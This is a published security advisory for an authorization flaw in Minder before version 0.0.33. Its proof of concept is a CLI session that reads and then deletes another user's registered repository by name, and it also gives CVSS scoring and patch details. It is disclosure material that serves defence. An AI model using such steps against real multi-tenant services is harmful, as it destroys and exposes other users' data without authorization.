`GetRepositoryByName`, `DeleteRepositoryByName` and `GetArtifactByName` allow access of arbitrary repositories in Minder by any authenticated user

Description

Summary

A Minder user can use the endpoints listed in the issue title to access any repository in the DB, irrespective of who owns the repo and any permissions that user may have.

Details

https://github.com/stacklok/minder/blob/e88e4b286e4bc04c03b0332a77961f085e1aa77f/database/query/repositories.sql#L22-L23
https://github.com/stacklok/minder/blob/a115c8524fbd582b2b277eaadce024bebbded508/internal/controlplane/handlers_repositories.go#L277-L278

The DB query used here checks by repo owner, repo name and provider name (which is always "github"). These query values are not distinct for the particular user - as long as the user has valid credentials and a provider, they can set the repo owner/name to any value they want and the server will return information on this repo.

DeleteRepositoryByName uses the same query and I have been able to delete another user's repo using this technique.

The GetArtifactByName endpoint also uses this DB query. I have not reproduced the behaviour with this endpoint due to a lack of a suitable test case, but I do not see anything in the implementation of the endpoint to prevent it being exploited.

PoC

Setup:
1. Fresh provider/project on the production minder instance which is owned by me.
2. A repo registered by another user (in this case, Ozz)

# show my identity
$ minder auth whoami
No config file present, using default values.

 Here are your details:

+----------------------------------------------------+----------------------------------------------------+
|                        KEY                         |                       VALUE                        |
+----------------------------------------------------+----------------------------------------------------+
| Subject                                            | c93cc12e-999d-49f4-9ee3-593fdfb39204               |
+----------------------------------------------------+----------------------------------------------------+
| Created At                                         | 2024-02-26 15:53:29.228 +0000                      |
|                                                    | UTC                                                |
+----------------------------------------------------+----------------------------------------------------+
| Updated At                                         | 2024-02-26 15:53:29.228 +0000                      |
|                                                    | UTC                                                |
+----------------------------------------------------+----------------------------------------------------+
| Minder Server                                      | api.stacklok.com:443                               |
+----------------------------------------------------+----------------------------------------------------+
| Project                                            | dmjb /                                             |
|                                                    | ca059552-7b8a-4c6e-918d-ca7e6cbd0bab               |
+----------------------------------------------------+----------------------------------------------------+

# show that I have no repos registered
$ minder repo list
No config file present, using default values.
+----+---------+----------+-------------+-------+------+
| ID | PROJECT | PROVIDER | UPSTREAM ID | OWNER | NAME |
+----+---------+----------+-------------+-------+------+

# show details on one of Ozz's repos
$ minder repo get -n JAORMX/auditevent
No config file present, using default values.
{
  "id":  "a7e82080-9b6c-41f3-bc08-8e9442f8b2d2",
  "context":  {
    "provider":  "github",
    "project":  "b513f7f0-26dc-42e6-81a0-577df5489e62"
  },
  "owner":  "JAORMX",
  "name":  "auditevent",
  "repoId":  "605597568",
  "hookUrl":  "https://api.github.com/repos/JAORMX/auditevent/hooks/464564107",
  "deployUrl":  "https://api.github.com/repos/JAORMX/auditevent/deployments",
  "cloneUrl":  "https://github.com/JAORMX/auditevent.git",
  "isFork":  true,
  "createdAt":  "2024-03-04T13:27:54.019356Z",
  "updatedAt":  "2024-03-04T13:27:54.019356Z",
  "defaultBranch":  "main"
}

# delete Ozz's repo
$ minder repo delete -n JAORMX/auditevent
No config file present, using default values.
Successfully deleted repo with name: JAORMX/auditevent

# Ozz's repo no longer exists
$ minder repo get -n JAORMX/auditevent
No config file present, using default values.
Message: Error getting repo by name
Details: NotFound means some requested entity (e.g., file or directory) was
not found.

Impact

Any user and project in a multi-tenant Minder instance.

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2024-03-05 16:20:07 UTC
Updated
2024-03-21 18:29:30 UTC
GitHub reviewed
2024-03-05 16:20:07 UTC
NVD published
2024-03-20

EPSS Score

Score Percentile
0.23% 45.91%

CVSS Scores

Base score Version Severity Vector
7.1 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:L)
A normal user session is enough; they don’t have to be admin.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:L)
Some sensitive info could get out, but not a total data dump.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-285 Improper Authorization

Credits

  • dmjb (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
go github.com/stacklok/minder < 0.0.33 0.0.33

References

cvelogic Threat Intelligence